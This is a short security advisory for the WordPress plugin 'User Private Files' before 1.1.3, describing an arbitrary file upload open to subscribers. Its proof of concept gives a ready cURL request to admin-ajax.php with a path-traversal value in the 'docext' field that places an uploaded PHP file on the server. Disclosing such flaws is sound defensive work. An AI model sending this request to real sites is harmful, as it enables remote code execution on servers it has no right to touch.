WordPress Plugin Vulnerabilities

User Private Files < 1.1.3 - Subscriber+ Arbitrary File Upload

Description

The plugin does not filter file extensions when letting users upload files on the server, which may lead to malicious code being uploaded.

Proof of Concept

1) Create a file named exploit.php, which contains: <?php phpinfo();

2) Find the upf_ajax_nonce on the site's front page.

2) Run the following cURL request, 

curl --url 'http://vulnerable-site.tld/wp-admin/admin-ajax.php' -b 'YOUR COOKIES' -F '[email protected]' -F 'docext=/../../exploit.php' -F 'doc_type=doc/pdf' -F 'action=upload_doc_callback' -F 'upf_nonce=YOUR NONCE'

# You can find the uploaded PHP file at: https://target/blog/wp-content/uploads/exploit.php